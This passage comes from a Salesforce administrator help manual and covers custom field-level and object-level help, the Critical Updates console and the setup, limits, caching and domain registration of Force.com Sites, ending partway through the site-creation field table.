CUSTOM HELP
Custom Help Overview
Available in: All Editions except Database.com

The Help & Training link at the top of every page opens the Salesforce Help & Training window which includes online help topics, solutions, and recommended training classes. Additionally, the Help for this Page link on any page opens a context-sensitive online help topic that describes that page. Salesforce custom help functionality allows you to augment these standard help features with information on using fields and functionality unique to your organization or the Force.com AppExchange app you are developing. Custom help allows you to: Override the standard Salesforce context-sensitive online help topics for your custom objects using object-level help Add field-level help that displays when users hover their mouse over a field

See Also:
Defining Field-Level Help Getting Started with Field-Level Help Defining Object-Level Help Getting Started with Object-Level Help Creating Custom Fields

1672

Field-Level Help

Getting Started with Field-Level Help

FIELD-LEVEL HELP
Getting Started with Field-Level Help
Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field. Before you begin defining field-level help, review these implementation tips and best practices. Implementation Tips Field-level help is enabled by default for all editions. Field-level help is not available for some standard fields, including fields on the User object, system read only fields, auto-number fields, multi-currency fields, Ideas fields, and Community fields. The help text for a field is automatically added to a package when you add the associated field to any Force.com AppExchange package. In a managed package, the help text is locked to the developer, giving installers full capabilities to change it.

Best Practices Because your custom help text displays on both edit and detail pages, avoid instructions for entering data. Instead, construct help text that defines the field's purpose, such as:
The maximum discount allowed for this account.

Provide information in your help text about the attributes of the field, such as:
A detailed description of the purpose for the expense report. Up to 32 KB of data are allowed. Only the first 255 characters display in reports.

Provide examples in your help text that help users understand the field's meaning clearly, such as:
The four-digit promotional code used to determine the amount charged to the customer, for example, 4PLT (for level-four platinum pricing).

If your organization uses more than one language, provide translations for your Help Text using the Translation Workbench.

See Also:
Custom Help Overview Defining Field-Level Help Creating Custom Fields

1673

Object-Level Help

Defining Field-Level Help

Defining Field-Level Help


Available in: All Editions except Database.com

User Permissions Needed To define or change field-level help: Customize Application

Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field. To define field-level help: 1. Select the field for which you want to define custom help text: For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. Click Edit next to the field. 3. In the Help Text field, enter the text you want displayed when a user hovers the mouse over the Info icon that appears adjacent to the field on a detail or edit page. You can enter up to 255 characters. 4. Click Save.

See Also:
Custom Help Overview Getting Started with Field-Level Help Creating Custom Fields

OBJECT-LEVEL HELP
Getting Started with Object-Level Help
Object-level help gives you the power to override the Salesforce Help for this Page links for any custom object with your custom help content contained in a Visualforce page or an s-control. The Help & Training link at the top of any page always opens the Salesforce Help & Training window, yet every Help for this Page link on your custom object pages opens the content in the s-control you select. Your users can access this content from the custom object home (overview), detail, and edit pages as well as any list views and related lists. Before you begin defining object-level help text for your custom objects, review these implementation tips and best practices.

1674

Customize

Defining Object-Level Help

Implementation Tips Object-level help is available for all custom objects in the Salesforce editions that support custom objects. For maximum functionality and ease of development, use Visualforce pages rather than s-controls. Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. When creating a Visualforce page to use for your object level help, create your page without a controller or with a custom controller. You cannot use a standard controller or a standard list controller. When creating an s-control to use for your object-level help, select HTML or URL: For an HTML s-control, write your help content directly into the s-control body using HTML markup. For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help content, or it can be a relative path to a static resource that contains your help content. If you have defined object-level help for a custom object that you add to a Force.com AppExchange package, Salesforce automatically adds the Visualforce page, static resource, or s-control referenced in your Context-Sensitive Help Settings for that object. In managed packages, object level help is locked to the developer, giving installers the ability to change it if needed.

Best Practices The window that displays your object-level help has the same height and width dimensions as the standard Salesforce Help & Training window. Be sure to size and style your content appropriately to increase usability of your custom help content. To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages. Because Visualforce pages or s-controls are the source of your object-level help content, you can use merge fields or other functions to make the experience more personalized. For example, you can design the custom help to address the user directly by adding the user's name to the help page when it is displayed.

See Also:
Custom Help Overview Defining Object-Level Help

Defining Object-Level Help


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define or change object-level help: Customize Application

Object-level help overrides the Help for this Page links for any custom object with your own custom help content contained in a Visualforce page or an s-control. To make object-level help available to all your users, simply create a Visualforce page or

1675

Customize

Defining Object-Level Help

an s-control that contains your help content and edit the custom object definition to reference that Visualforce page or s-control. Object-level help becomes available to all your users instantly. Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. To define object-level help for custom objects: 1. Create a Visualforce page or an s-control of type HTML or URL that contains your help content. For a Visualforce page, create a Visualforce page that does not use a controller, or that uses a custom controller. Standard controllers and standard list controllers cannot be used with pages that display object-level help. For an HTML s-control, write your help content directly into the s-control body using HTML markup. For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help content, or it can be a relative path to a static resource that contains your help content.

2. Edit the custom object definition that should use this custom help when users click the Help for this Page link for these custom object records. 3. Choose Open a window using a Visualforce page or Open a window using a custom s-control from Context-Sensitive Help Setting. 4. Select the Visualforce page or s-control that contains your help content. 5. Click Save. Tip: You can use the action attribute on a <apex:page> component to redirect from a Visualforce page to a static resource. This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a user to a PDF: 1. Upload the PDF as a static resource named customhelp. 2. Create the following page:
<apex:page sidebar="false" showHeader="false" standardStylesheets="false" action="{!URLFOR($Resource.customhelp)}"> </apex:page>

Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect properly. Tip: To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.

See Also:
Custom Help Overview Getting Started with Object-Level Help

1676

Customize

Replacing Salesforce Online Help

Replacing Salesforce Online Help


Organizations that have renamed standard tabs, objects, fields, and other related user interface labels can also replace the Salesforce online help with another URL. Users can view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup. After you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages will continue to display Salesforce online help. 1. Click Your Name > Setup > Customize > Tab Names and Labels > Help Settings. 2. Enter the complete URL for your help file that you would like to replace the Salesforce online help. 3. Click Save.

Notes about Replacing Online Help


When you replace the Salesforce online help with your own help file, the Help & Training link still displays Salesforce online help but the Help for this Page links on all pages other than within Administration Setup are no longer context-sensitive. That is, your help file will open at the same place regardless of which page the user is viewing when they click the link. You can make your help context-sensitive by taking advantage of the context-specific parameters that are passed with each help link. For example, the help link from the Opportunities tab home page is constructed as follows (without any linebreaks):
http://your_help_file.com?loc=help&amp;body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp &target=opp_overview.htm&section=Opportunities

The values of the target and section parameters are unique for every page within the application. You can parse these parameters to display context-sensitive help content for your users. If your online help file is compatible with the Web browser on your users' mobile devices, you can contact salesforce.com to enable a custom URL for the online help in Salesforce Mobile. If you enable a mobile help URL, the Help link in the mobile application launches the custom help URL instead of the Salesforce Mobile online help. Don't deploy customized mobile help without testing it thoroughly on all the device models carried by your users. Even if all of your users have the same type of mobile device, the experience can vary widely depending on which operating system version is installed on the device.

1677

Critical Updates Console

Critical Updates Overview

CRITICAL UPDATES CONSOLE


Critical Updates Overview
Available in: All Editions

User Permissions Needed To view critical updates: To activate critical updates: View Setup Modify All Data and Customize Application

Salesforce.com periodically releases updates that improve the performance, logic, and usability of Salesforce, but may affect your existing customizations. When these updates become available, Salesforce lists them at Your Name > Setup > Critical Updates, sends a notification email to administrators, and displays a message when administrators click Your Name > Setup. To ensure a smooth transition, each update has an opt-in period during which you can manually activate and deactivate the update an unlimited number of times to evaluate its impact on your organization and modify affected customizations as necessary. The opt-in period ends on the auto-activation date, at which time Salesforce permanently activates the update. Warning: Salesforce.com recommends testing each update by activating it in either your Developer Sandbox or your production environment during off-peak hours. To manage critical updates, click Your Name > Setup > Critical Updates. From this page, you can: View the summary, status, and auto-activation date for any update that Salesforce has not permanently activated. Click Review to view the detail page of any update that Salesforce has not permanently activated. The details include a list of the customizations in your organization that the update might affect and the activation history, which lists each time the update was activated and deactivated. Click Activate to activate any inactive update. Click Deactivate to deactivate any active update that Salesforce has not permanently activated.

Notes on Critical Updates


Salesforce analyzes your organization to determine if a critical update potentially affects your customizations. If your customizations are not affected, Salesforce automatically activates the update in your organization, and the update does not appear when you click Your Name > Setup > Critical Updates. On the scheduled auto-activation date, Salesforce permanently activates the update. After auto-activation, you cannot deactivate the update. Each update detail page has its own online help topic that contains important information and examples to help you understand how your customizations might be affected and how you can correct any unintended functionality. Salesforce displays a message the first time you access the setup menu after a critical update becomes available. The message lets you choose to have Salesforce display the updates immediately or remind you about the updates later. You can also

1678

Critical Updates Console

Winter '10 Critical Updates

choose to have Salesforce neither display the updates nor remind you. If you choose this option, Salesforce will not display the message again until another new update is available.

See Also:
Winter '10 Critical Updates

Winter '10 Critical Updates


Available in: All Editions except Database.com

User Permissions Needed To view critical updates: To activate critical updates: View Setup Modify All Data and Customize Application

Winter '10 features one critical update: New Campaign Member Creation BehaviorEnables Salesforce to evaluate triggers, validation rules, and workflow rules when you create campaign members using: the Lead Import Wizard the Campaign Update Wizard Web-to-Lead the Campaign field when creating or cloning a lead

For more information, see What is the Winter '10 New Campaign Member Creation Behavior Update?

See Also:
Critical Updates Overview

1679

Critical Updates Console

Winter '10 Critical Updates

What is the Winter '10 New Campaign Member Creation Behavior Update?
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Winter '10 New Campaign Member Creation Behavior update: View Setup

To activate the Winter '10 New Campaign Member Creation Customize Application Behavior update: AND Modify All Data

The Winter '10 New Campaign Member Creation Behavior update enables Salesforce to evaluate triggers, validation rules, and workflow rules when you create campaign members using: the Lead Import Wizard the Campaign Update Wizard Web-to-Lead the Campaign field when creating or cloning a lead

Additionally, the New Campaign Member Creation Behavior allows you to map import fields to campaign member custom fields. For example, you can now map Attended? and # Questions Asked fields in an import file to campaign member custom fields called Attended? and # Questions Asked. When you activate this update, you have the option to run workflow and map campaign member custom fields when you create campaign members using the Lead Import Wizard or Campaign Update Wizard. Workflow runs automatically and default campaign member custom field values are automatically populated for campaign members created using Web-to-Lead or the Campaign field when you create or clone a lead. For campaign members created using the Lead Import Wizard, you can now define the Campaign Member Status on a per-row basis. If you deactivate this update, Salesforce does not evaluate the triggers, validation rules, and workflow rules for campaign members created using the Lead Import Wizard, Campaign Update Wizard, Web-to-Lead, or the Campaign field when creating or cloning a lead, and you can't map import fields to campaign member custom fields. Important: This critical update changes the behavior of campaign members created using the campaign member wizards, Web-to-Lead, and the Campaign field when creating a new or cloned lead. Customizations to these features may behave differently when you activate this update, for example: Lead and campaign member triggers dependent on simultaneous campaign member and lead creation won't work because campaign members are created after leads. If import file data conflicts with existing campaign member triggers and validation rules, the leads and campaign members will not be inserted. Apex triggers that result in leads being converted before being added to a campaign, for example, an after insert trigger, result in a campaign member with only contact fields populated. These records are not included in the campaign's converted lead count.

1680

Critical Updates Console

Winter '10 Critical Updates

If your organization has any of these customizations, read the examples to understand how you might be affected and how you can correct unintended functionality. Salesforce.com recommends activating this update because it ensures that campaign members are created with the same rules regardless of how they are created. and the quality of your data is improved. Important: Activation of this update impacts campaign member records in the user interface, API, and desktop clients, such as Connect for Outlook. The Winter '10 New Campaign Member Creation Behavior update is automatically activated for new customers that sign up after the Winter '10 release in October 2010; if this update is automatically activated, you can't deactivate it. If this update is not activated by default, Salesforce.com automatically activates the update on the date specified in the auto-activation column on the Critical Updates page. Before that time, Salesforce.com recommends testing the update by activating it in your Sandbox or production environment during off-peak hours. You can activate and deactivate the update an unlimited number of times.

Activating the Winter '10 New Campaign Member Creation Behavior Update
To activate the Winter '10 New Campaign Member Creation Behavior update: 1. Click Your Name > Setup > Critical Updates. 2. Click Review next to the New Campaign Member Creation Behavior update. The Critical Update detail page displays feature customizations that may be affected by activating the update. 3. Determine if activating the update will cause unintended functionality, and if so, modify your customizations. 4. Click Activate. 5. Optionally, enter comments and click Activate. Comments appear in the activation history.

Deactivating the Winter '10 New Campaign Member Creation Behavior Update
To deactivate the Winter '10 New Campaign Member Creation Behavior update: 1. 2. 3. 4. Click Your Name > Setup > Critical Updates. Click Review next to the New Campaign Member Creation Behavior update. Click Deactivate. Optionally, enter comments and click Deactivate. Comments appear in the activation history.

New Campaign Member Creation Behavior Examples


Workflow Rule Example Let's say you use the Lead Import Wizard to add members to a campaign named Newsletter. You have a workflow rule that emails a newsletter to members added to this campaign. Update activated: You can choose to run workflow rules from the Lead Import Wizard. Your workflow rule is evaluated for imported members and the newsletters are sent. Update deactivated: Your workflow rule isn't evaluated for members added to the campaign via the Lead import Wizard and the newsletters aren't sent.

1681

Force.com Sites

Force.com Sites Overview

Apex Trigger Example Assume there's an Apex trigger on campaign members that updates the Number Attended campaign custom field when members with the Attended status are added to the Webinar campaign. You want to use the Campaign Update Wizard to update the status for members of this campaign. Update activated: The Apex trigger fires for campaign members updated using the Campaign update Wizard, and the Number Attended campaign custom field is updated. Update deactivated: The Apex trigger doesn't fire for members updated using the Campaign Update Wizard and the Number Attended campaign custom field isn't updated.

Validation Rule Example Imagine there's a campaign member validation rule that requires users to select a custom field called RSVP-Yes if the members status is RSVP-Yes. Update activated: Campaign members imported with the status RSVP-Yes must also have the RSVP-Yes field in the import file set to TRUE, or they aren't created. Update deactivated: You can import campaign members with the status RSVP-Yes, regardless of the RSVP-Yes custom field value.

Campaign Member Custom Field Example You want to map import fields called Attended? and # Questions Asked to campaign member custom fields of the same names. Update activated: You can map these import fields during import to campaign member custom fields called Attended? and # Questions Asked. Update deactivated: You cannot map these import fields to campaign member custom fields.

FORCE.COM SITES
Force.com Sites Overview
Available in: Developer, Enterprise, and Unlimited Editions

Salesforce organizations contain valuable information about partners, solutions, products, users, ideas, and other business data. Some of this information would be useful to people outside your organization, but only users with the right access and permissions can view and use it. In the past, to make this data available to the general public, you had to set up a Web server, create custom Web pages (JSP, PHP, or other), and perform API integration between your site and your organization. Additionally, if you wanted to collect information using a Web form, you had to program your pages to perform data validation. With Force.com sites, you no longer have to do any of those things. Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce organizationwithout requiring users to log in with a username and password. You can publicly expose any information stored in your organization through a branded URL of your choice. You can also make the site's pages match the look and feel of your company's brand. Because sites are hosted on Force.com

1682

Force.com Sites

Force.com Sites Overview

servers, there are no data integration issues. And because sites are built on native Visualforce pages, data validation on collected information is performed automatically. You can also enable users to register for or log in to an associated portal seamlessly from your public site. Note: Force.com Sites is subject to these additional Terms of Use. For information on Site.com, which is a Web content management system (CMS) that makes it easy to build dynamic, data-driven Web pages and edit content in real time, see Site.com Overview on page 2364. The following examples illustrate a few ways that you can use sites: Create an ideas siteUse sites to host a public community forum for sharing and voting on ideas about your company, services, or products. Ideas websites can be made public using sites. Publish a support FAQProvide helpful information on a public website where customers can search for solutions to their issues. Create a store locator toolAdd a public tool to your portal that helps customers find stores in their area. Publish an employee directoryAdd an employee directory to your company's intranet by creating a site restricted by IP range. Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes online. Publish a catalog of productsList all of your company's products on a public website, with model numbers, current prices, and product images pulled dynamically from your organization.

Because Force.com sites are served directly from the Salesforce organization, a site's availability is directly related to the organization's availability. During your organization's maintenance window for major releases, your sites will be unavailable; users who try to access a site will see a Force.com-branded maintenance page or your custom Service Not Available Page. It's a good idea to inform your site users of the release maintenance windows and related sites unavailability in advance. You can view specific maintenance windows, listed by instance, at trust.salesforce.com/trust/status/#maint.

The Force.com Domain


For each of your sites, you determine the URL of the site by establishing the site's domain name. You can choose one of the following domain options: Use your Force.com domain name, which is your unique subdomain prefix plus force.com. For example, if you choose mycompany as your subdomain prefix, your domain name would be http://www.mycompany.force.com. The name is case-sensitive. Note: Your Force.com domain name is used for all the sites that you create. For example, your company could create one public site for partners, another for developers, and a third for support. If your company's domain is http://www.mycompany.force.com, those three sites might have the following URLs: http://mycompany.force.com/partners http://mycompany.force.com/developers http://mycompany.force.com/support Create a branded, custom Web address, such as http://www.mycompanyideas.com, by registering through a domain name registrar. Create CNAME records to redirect your branded domain and subdomains to your Force.com domain without exposing the force.com name in the URL. It can take up to 48 hours for your Force.com domain to become available on the Internet. Custom Web addresses aren't supported for sandbox or Developer Edition organizations.

1683

Force.com Sites

Force.com Sites Considerations

Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com suffix. In the following examples, the subdomain prefix is mycompany, the sandbox name is mysandbox, the instance name is na1, and the sandbox instance name is cs1: Organization Type Developer Edition Sandbox Production Secure URL
https://mycompany-developer-edition.na1.force.com https://mycompany.mysandbox.cs1.force.com https://mycompany.secure.force.com

The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login Settings page.

See Also:
Force.com Sites Considerations Setting Up Force.com Sites Managing Force.com Sites Registering a Custom Force.com Domain Creating and Editing Force.com Sites Configuring Force.com Sites Force.com Sites Limits and Billing Reporting on Force.com Sites Tracking Your Force.com Site with Google Analytics About Syndication Feeds Ideas Overview Administrator setup guide: Force.com Sites Implementation Guide

Force.com Sites Considerations


Available in: Developer, Enterprise, and Unlimited Editions

Before creating and using Force.com sites, consider the following: Packaging The following apply to packaging for sites: Sites are not packageable. However, you can package sample code, Visualforce pages, Apex classes, or components for a site using a managed package. You must have Force.com sites enabled to be able to install unmanaged packages that contain Visualforce pages or Apex classes that refer to a site.

1684

Force.com Sites

Force.com Sites Limits and Billing

Access and Authentication You can grant Read and Create permissions on all standard objects except products, price books, and ideas; and Read, Create, Edit, and Delete on all custom objects. For additional access, you must authenticate site visitors as portal users. Custom authentication is not supported. You can authenticate via the following: Customer Portalsenable public login and registration Partner portalscreate partner users Tip: You can also enable single sign-on for portals, as well as Sites.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Caching Force.com Sites Pages Force.com Sites Limits and Billing Viewing 24-Hour Force.com Sites Usage History Setting Up Your Customer Portal

Force.com Sites Limits and Billing


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites usage is governed by monthly and daily limits. Understanding these limits is important to the success of your sites. Salesforce.com provides tools to help you reduce bandwidth consumption and monitor site usage so that you can avoid exceeding these limits. This topic contains the following sections: Limits and Billing Terminology Sites Limits and Restrictions Billing and Monthly Page Views Enforcement What Counts as a Page View?

Limits and Billing Terminology


This section defines the terminology used for Force.com sites limits and billing: Page Views are calculated as the total number of pages served from either the site's origin server or the cache server. Bandwidth is calculated as the number of megabytes served and received from both the site's origin server and the cache server. Service request time is calculated as the total server time in minutes required to generate pages for the site. Rolling 24-hour period refers to the 24 hours immediately preceding the current time.

1685

Force.com Sites

Force.com Sites Limits and Billing

Origin server refers to the Web server that hosts your site. Cache server refers to the CDN server that serves your cached site pages. Current period refers to the current calendar month for which you are entitled a certain number of page views for your organization.

Sites Limits and Restrictions


The following table lists the site limits for each edition: Edition Maximum Number Bandwidth Limit (per rolling Service Request Time (per of Sites 24-hour period per site) rolling 24-hour period per site) 500 MB 1 GB for sandbox 40 GB for production Unlimited Edition 25 1 GB for sandbox 40 GB for production 10 minutes 30 minutes for sandbox 60 hours for production 30 minutes for sandbox 60 hours for production 1,000,000 Maximum Page Views N/A 500,000

Developer Edition 1 Enterprise Edition 25

Make sure to consider all of the available caching options to help you avoid reaching these limits, and use the Site Usage analytics tools to monitor your sites.

Billing and Monthly Page Views Enforcement


This section describes how salesforce.com enforces limits on monthly page views for sites: Billing is based on the number of monthly page views purchased for your organization. This page view limit is cumulative for all sites in your organization. If, in a given calendar month, your organization reaches 110% of its page view limit, salesforce.com sends the site and billing administrators email notification. If your organization exceeds 110% of its page view limit for four consecutive calendar months, your sites are disabled until the next calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site and billing administrators, as well as the related account executive. If, in a given calendar month, your organization reaches 300% of its page view limit, your sites are disabled until the next calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site and billing administrators, as well as the related account executive.

What Counts as a Page View?


This section describes how page views are counted for sites. A page view is a request from a non-authenticated site user to load a page associated with one of the sites within your Force.com domain or custom domain. Requests from authenticated portal users are not counted as page views. Requests that Count as Page Views Requests for the following are counted as page views: Requests for... Your Force.com domain Example URL
http://mycompany.force.com

1686

Force.com Sites

Force.com Sites Limits and Billing

Requests for... Your custom Web address Any page associated with your site Authorization Required error page Ajax requests

Example URL
http://mycompany.com http://mycompany.force.com/mypage http://mycompany.force.com/Unauthorized

n/a

Requests that Do Not Count as Page Views Requests for the following are not counted as page views: Requests for... Salesforce images Your static resources Robots.txt Favorite icon Attachments and Documents Error pages, apart from Authorization Required, such as Limit Exceeded and Maintenance Images included with an HTML field Custom file field Example URL
http://mycompany.force.com/img/force_logo_w09.gif http://mycompany.force.com/resource/1233771498000/background http://mycompany.force.com/robots.txt http://mycompany.force.com/favicon.ico

n/a
http://mycompany.force.com/BandwidthExceeded

http://mycompany.force.com/servlet/rtaImage http://mycompany.force.com/servlet/fileField

Note: Limit Exceeded, Maintenance, Page Not Found, and designated Inactive Home pages aren't counted against page view and bandwidth limits. You can use static resources to brand these pages, but the following limitations apply: Static resources must be 50 KB or smaller in size. Static resources must be style sheets (CSS), image files, or JavaScript files. You can't use Apex controllers for these pages. You can't perform SOQL or DML operations from these pages.

See Also:
Force.com Sites Overview Caching Force.com Sites Pages Viewing 24-Hour Force.com Sites Usage History Reporting on Force.com Sites Tracking Your Force.com Site with Google Analytics

1687

Force.com Sites

Caching Force.com Sites Pages

Caching Force.com Sites Pages


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites enforces two 24-hour rolling limitsbandwidth and service request timewhich vary by organization type. Though the limits are high for active production organizations, your site could exceed the limit due to heavy traffic or pages that consume lots of bandwidth or processing time. Rolling 24-hour period refers to the 24 hours immediately preceding the current time. Sites provide caching options that allow you to leverage the resources of our Content Delivery Network (CDN) partner to improve page load times and site performance, as well as help you avoid reaching bandwidth or service request time limits. Sites allows you to set the cache duration for each of your site pages and optimize content delivery to your end users. Control the caching behavior for your site by setting the Boolean cache attribute and integer expires attribute on each Visualforce page. By default, pages that do not have the cache attribute set are cached for ten minutes (600 seconds). For example, a page whose cache is set to expire in 15 minutes looks like this:
<apex:page cache="true" expires="900">

Note: The CDN is only available for active production organizations. It is not available for sandbox or Developer Edition organizations. To protect the integrity of sensitive information, SSL sessions and pages requested after authentication are not cached via the CDN. Attachments to public pages accessed through sites are automatically cached for 10 minutes via the CDN. Other factors also affect caching behavior, such as the type of user accessing the page, whether the request comes from the caching server, and whether the site is login-enabled. The following tables summarize the caching behavior for each of these cases. For Requests Coming from the Caching Server If the site is login-enabled: Cache Attribute Set to TRUE Not Set Set to FALSE Caching Behavior Cache expires according to user-set value Cache expires in ten minutes Not cached Caching Location Caching server only Caching server only None

If the site is not login-enabled:

1688

Force.com Sites

Caching Force.com Sites Pages

Cache Attribute Set to TRUE Not Set Set to FALSE

Caching Behavior Cache expires according to user-set value Cache expires in ten minutes Not cached

Caching Location Both caching server and browser Both caching server and browser None

For Requests Not Coming from the Caching Server If the site is login-enabled: Cache Attribute Set to TRUE Not Set Set to FALSE Caching Behavior Not cached Not cached Not cached Caching Location None None None

If the site is not login-enabled: Cache Attribute Set to TRUE Not Set Set to FALSE Caching Behavior Cache expires according to user-set value Cache expires in ten minutes Not cached Caching Location Browser only Browser only None

See Also:
Force.com Sites Overview Force.com Sites Limits and Billing Setting Up Force.com Sites Viewing 24-Hour Force.com Sites Usage History Reporting on Force.com Sites Tracking Your Force.com Site with Google Analytics

1689

Force.com Sites

Setting Up Force.com Sites

Setting Up Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: To edit public access settings for Force.com sites: Customize Application Manage Users

Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce organizationwithout requiring users to log in with a username and password. To set up a Force.com site: 1. 2. 3. 4. 5. Click Your Name > Setup > Develop > Sites. Register a custom Force.com domain for your organization. Create and configure your site. Develop and use Visualforce pages for your site, use or hide standard pages, and customize or replace out-of-box error pages. Associate these pages with your site. Choose a site template. Use the lookup field to find and select a template that you've developed, or use the out-of-box template provided. The site template provides the page layout and stylesheet for your site and overrides any formatting inherited from the associated portal. Enable a portal for login or self-registration, then associate it with your site. Optionally, modify public access settings. When you are ready to make your site public, click Activate on the Site Details page. You can also activate your site from the Site Edit and Sites pages.

6. 7. 8.

Once you have set up a site, you can: Run reports and dashboards on your site. Create workflow rules that trigger email alerts when site-related criteria are met.

See Also:
Force.com Sites Overview Managing Force.com Sites Creating and Editing Force.com Sites Configuring Force.com Sites Associating a Portal with Force.com Sites

1690

Force.com Sites

Managing Force.com Sites

Managing Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

To get started using Force.com sites, click Your Name > Setup > Develop > Sites. From this page, you can: Register your Force.com domain, if you have not yet done so. View all sites hosted on your Force.com domain. Click New to create a new site. Click Edit to make changes to an existing site. Click Activate or Deactivate to change the active status for your site. Warning: Be careful not to expose any information that you do not want to make public.

Click the site's label to view that site's details. Click the site's URL to open that site in a browser.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Creating and Editing Force.com Sites Configuring Force.com Sites

Registering a Custom Force.com Domain


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Your company's Force.com domain is used for all the sites that you create. Even if you register a branded Web address for your site, you must choose a Force.com domain. The branded URL will be redirected to the Force.com domain.

1691

Force.com Sites

Registering a Custom Force.com Domain

Note: If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME record that you provide to that registrar must be your Force.com domain name and not the site URL. For example, if you entered mycompany when registering your Force.com domain, the CNAME must be mycompany.force.com, not the full value of the site URL. To register your Force.com domain: 1. Click Your Name > Setup > Develop > Sites. 2. Enter a unique name for your Force.com domain. A Force.com domain name can contain only alphanumeric characters and hyphens, and must be unique in your organization. It must begin with a letter, not include spaces, not end in a hyphen, and not contain underscores or periods. Salesforce.com recommends using your company's name or a variation, such as mycompany. Warning: You can't modify your Force.com domain name after you have registered it.

3. Click Check Availability to confirm that the domain name you entered is unique. If it isn't unique, you are prompted to change it. 4. Read and accept the Sites Terms of Use by selecting the checkbox. 5. Click Register My Force.com Domain. After you accept the Terms of Use and register your Force.com domain, the changes related to site creation are tracked in your organization's Setup Audit Trail and the Site History related list. It may take up to 48 hours for your registration to take effect. Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com suffix. In the following examples, the subdomain prefix is mycompany, the sandbox name is mysandbox, the instance name is na1, and the sandbox instance name is cs1: Organization Type Developer Edition Sandbox Production Secure URL
https://mycompany-developer-edition.na1.force.com https://mycompany.mysandbox.cs1.force.com https://mycompany.secure.force.com

The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login Settings page.

See Also:
Force.com Sites Overview Force.com Sites Considerations Setting Up Force.com Sites

1692

Force.com Sites

Creating and Editing Force.com Sites

Creating and Editing Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

After registering your Force.com domain, create a Force.com site using the following steps: 1. Click Your Name > Setup > Develop > Sites. 2. Click New or click Edit for an existing site. 3. On the Site Edit page, define the following: Field
Site Label Site Name

Description The name of the site as it appears in the user interface. The name used when referencing the site in the SOAP API. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. An optional description of the site. The user who will receive site-related communications from the site's visitors and salesforce.com. The unique Force.com URL for this site. Force.com provides the first part of the URL based on the domain name that you registered; you must add a unique site name to the end. Unless you configure a custom Web address through a domain name registrar, this is the URL that the public will use to access your site. The unique Force.com URL for this site when using SSL. The secure Web address is used for SSL even if you defined a custom Web address. The optional branded custom Web address that you registered with a third-party domain name registrar. The custom Web address acts as an alias to your Force.com address. To enable a custom Web address, create a CNAME record to your Force.com domain with that registrar. If you have not registered this address, you encounter an error. Custom Web addresses aren't supported for sandbox or Developer Edition organizations. Note: If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME record that you provide to that registrar must be your Force.com domain name and not the site URL. For example, if you entered mycompany when registering your

Site Description Site Contact

Default Web Address

Secure Web Address

Custom Web Address

1693

Force.com Sites

Creating and Editing Force.com Sites

Field

Description Force.com domain, the CNAME must be mycompany.force.com, not the full value of the site URL.

Active

The option that activates your site when you are ready to make it available to the public. You can also activate your site from the Sites and Site Details pages. When the site is inactive, users will see the page specified in the Inactive Site Home Page field. The landing page that users are directed to when this site is active. Use the lookup field to find and select the Visualforce page that you developed for your site's home page. Choose the UnderConstruction page if you just want to test your site. For ideas sites, you must use the IdeasHome page and for answers sites you must use the AnswersHome page. The look and feel for your Ideas site or Answers site will be inherited from its associated portal unless you select a site template. If you deployed a site before the Summer '10 release, you can set AnswersHome as your default landing page if you create a Visualforce page using <apex:page
action="{!URLFOR('/answers/answersHome.apexp')}"/>

Active Site Home Page

Inactive Site Home Page

